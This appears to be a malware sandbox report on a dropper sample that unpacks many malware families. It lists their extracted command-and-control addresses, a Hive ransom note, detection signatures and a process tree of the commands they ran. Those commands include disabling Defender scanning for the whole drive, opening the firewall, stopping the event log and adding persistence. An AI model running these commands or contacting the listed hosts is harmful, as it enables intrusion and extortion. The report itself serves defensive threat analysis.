Resubmissions
27/09/2026, 08:25
260927-ka9egsts4j1027/09/2026, 08:18
260927-j7p7fas16n1026/09/2026, 10:25
260926-mf8fgsdd861026/09/2026, 10:13
260926-l851ds1djg1024/09/2026, 12:57
260924-p6wkqathrd1024/09/2026, 12:18
260924-pgt1la1v6n1023/09/2026, 23:53
260923-3xdv7sgf861023/09/2026, 23:46
260923-3sgfjage521023/09/2026, 22:04
260923-1y2ybaed561012/09/2026, 10:35
260912-mmt7fahh3910Analysis
- user interaction
yes - max time kernel
314s - max time network
322s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 07:17
Errors
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample260910-h4e2mazdlf
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Malware Config
Extracted
-
phorphiex
-
http://178.16.55.240/
-
6646346464
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36
Extracted
-
cobaltstrike
-
987654321
-
http://47.109.198.8:6000/fwlink
-
access_type
512
-
host
47.109.198.8
-
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
polling_time
60000
-
port_number
6000
-
sc_process32
%windir%\syswow64\rundll32.exe
-
sc_process64
%windir%\sysnative\rundll32.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN62FFCfeL4oWwKPQRVH2zTEITgB6bOehKlf4U4XGVh+HMtd3K+2oR/9eJu2lg3kRD8/7sdetvMCvgw1xFgZaMusgBuwDcGe9YDgqWWMesMUUfHk6aYZIwAfloiJ0eexKHy9+h5lDYh04GS/C873EYxmAzW7W9kstgf0uuhEoosQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
4096
-
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/submit.php
-
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENXA)
-
watermark
987654321
Extracted
-
remcos
-
7.2.5 Pro
-
RemoteHost
-
mainhold.duckdns.org:6040
-
winnerscorner.gleeze.com:6040
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-LRZOMJ
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
-
njrat
-
im523
-
TrupAshot
-
documents-elegant.at.ply.gg:54835
-
4a87b5397a2736773782f50e108b2da4
-
reg_key
4a87b5397a2736773782f50e108b2da4
-
splitter
|'|'|
Extracted
-
supershell
-
45.197.12.73:3232
Extracted
-
asyncrat
-
Venom RAT + HVNC + Stealer + Grabber v6.0.3
-
Default
-
89.84.63.139:6606
-
caqxyzoxvrzhnrxwoc
-
delay
1
-
install
false
-
install_folder
%AppData%
-
local_host
127.0.0.1
Extracted
-
C:\GMT\UpdateDIr\HOW_TO_DECRYPT.txt
-
hive
- Your network has been breached and all data is encrypted. To decrypt all the data you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: EQA9oydTxwXS Password: vNtgAgb3kMFmCooANNQr Follow the guidelines below to avoid losing your data: - Do not shutdown or reboot your computers, unmount external storages. - Do not try to decrypt data using third party software. It may cause irreversible damage. - Do not fool yourself. Encryption has perfect secrecy and it's impossible to decrypt without knowing the key. - Do not modify, rename or delete *.key.hive files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased. - Do not reject to purchase. Your sensitive data will be publicly disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/
-
http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/
-
http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/
Extracted
-
blackmatter
-
25.239
Extracted
-
amadey
-
5.04
-
a66537
-
http://89.110.69.103
-
http://94.156.177.33
-
install_dir
a121af5f66
-
install_file
Gxtuum.exe
-
strings_key
09dbfb77de24d28905cfed05aeef2129
-
url_paths
/Lv2D7fGdopb/index.php
/b9kdj3s3C0/index.php
Extracted
-
redline
-
first
-
212.56.41.77:1912
Signatures
- Family: Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: BlackMatter Ransomware
BlackMatter ransomware group claims to be Darkside and REvil succesor.
- Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: Hive
A ransomware written in Golang first seen in June 2021.
- Family: Lockbit
Ransomware family with multiple variants released since late 2019.
- Family: NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Family: Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Family: njRAT/Bladabindi
Widely used RAT written in .NET.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Async RAT payload 1 IoCs
- DCRat payload 2 IoCs
- Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
- Detect SalatStealer payload 4 IoCs
- Detects Amadey x86-bit Payload 1 IoCs
- Detects DonutLoader 1 IoCs
- Detects Go variant of Hive Ransomware 6 IoCs
- RedLine payload 2 IoCs
- Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
- XMRig Miner payload 8 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 10 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Creates a file in the Startup directory 1 TTPs 3 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 43 IoCs
- Loads dropped DLL 36 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Discovers running processes 1 TTPs 3 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Drops autorun.inf file 1 TTPs 5 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 5 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- UPX packed file 51 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 24 IoCs
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 41 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 40 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 9 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- NSIS installer 3 IoCs
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 4 IoCs
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Kills process with taskkill 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 22 IoCs
- Runs ping.exe 1 TTPs 9 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 63 IoCs
- Suspicious use of FindShellTrayWindow 11 IoCs
- Suspicious use of SendNotifyMessage 9 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\maza-0.16.3-win64-setup-unsigned.exe"C:\Users\Admin\AppData\Local\Temp\Files\maza-0.16.3-win64-setup-unsigned.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Maza\maza-qt.exe"C:\Program Files\Maza\maza-qt.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\G7_Update.exe"C:\Users\Admin\AppData\Local\Temp\Files\G7_Update.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\GMT\UpdateDIr\G7_Update_260406\install.bat" "3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exeTaskkill /f /im "BasmDocu.exe"4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 14⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 14⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 34⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 10283⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Amus.exe"C:\Users\Admin\AppData\Local\Temp\Files\Amus.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\main.exe"C:\Users\Admin\AppData\Local\Temp\Files\main.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Mova.exe"C:\Users\Admin\AppData\Local\Temp\Files\Mova.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\Files\darts-pixelit.exe"C:\Users\Admin\AppData\Local\Temp\Files\darts-pixelit.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\darts-pixelit.exe"C:\Users\Admin\AppData\Local\Temp\Files\darts-pixelit.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_851477f5539ff9f4.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_851477f5539ff9f4.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\f1c106553ca64defbddc6d82476e8076.exe"C:\Users\Admin\AppData\Local\Temp\Files\f1c106553ca64defbddc6d82476e8076.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pclient.exe"C:\Users\Admin\AppData\Local\Temp\Files\pclient.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\snd16061.exe"C:\Users\Admin\AppData\Local\Temp\Files\snd16061.exe"2⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\WinSupUpdata\client32.exe"C:\Users\Admin\AppData\Roaming\WinSupUpdata\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Darwin.exe"C:\Users\Admin\AppData\Local\Temp\Files\Darwin.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\PDFreader.exe"C:\Users\Admin\AppData\Roaming\PDFreader.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\123.exe"C:\Users\Admin\AppData\Local\Temp\Files\123.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Brontok.exe"C:\Users\Admin\AppData\Local\Temp\Files\Brontok.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Forbes.exe"C:\Users\Admin\AppData\Local\Temp\Files\Forbes.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rmc.exe"C:\Users\Admin\AppData\Local\Temp\Files\rmc.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\444.exe"C:\Users\Admin\AppData\Local\Temp\Files\444.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\conhost.exe"C:\Users\Admin\AppData\Roaming\conhost.exe"3⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops autorun.inf file
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\conhost.exe" "conhost.exe" ENABLE4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\keylogger.exe"C:\Users\Admin\AppData\Local\Temp\Files\keylogger.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"2⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\'"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "UpdateManager" /tr "C:\Windows\SystemUpdateCache\UpdateManager.exe" /sc onlogon /rl highest /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NoEscape.exe"C:\Users\Admin\AppData\Local\Temp\Files\NoEscape.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xmr.exe"C:\Users\Admin\AppData\Local\Temp\Files\xmr.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "winmgr"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "winmgr" binpath= "C:\ProgramData\winmgr\syswinprdrvc.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "winmgr"3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_deaad5d12778941d.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_deaad5d12778941d.exe"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe"C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Agentnov.exe"C:\Users\Admin\AppData\Local\Temp\Files\Agentnov.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ComfontwinCrtMonitor\Ay6NG0F6W31r02DmYDfvXlcoXOiJ0g7CZGFgavsjaHVxbb7p79qA9PCcolLF.vbe"3⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\ComfontwinCrtMonitor\OnzNiMkRKunjlA2ZJK8bvmP0uahZr4XmUT5IbmeTTuY8hxSaQt1L4to.bat" "4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\ComfontwinCrtMonitor\WinIntoruntime.exe"C:\Users\Admin\AppData\Roaming\ComfontwinCrtMonitor/WinIntoruntime.exe"5⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\sa1ALcXpjc.bat"6⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:27⤵
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\eoTsPsP9ij.bat"8⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 650019⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:29⤵
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\atyOD99Im6.bat"10⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500111⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost11⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VvHaJEFDnD.bat"12⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500113⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:213⤵
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\WuqrHCDFSV.bat"14⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500115⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\b5cCzjWvuk.bat"16⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500117⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Kg5VX99QjA.bat"18⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500119⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost19⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"19⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ds6v954M6h.bat"20⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500121⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:221⤵
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"21⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\WJ1wtP2ROC.bat"22⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500123⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost23⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
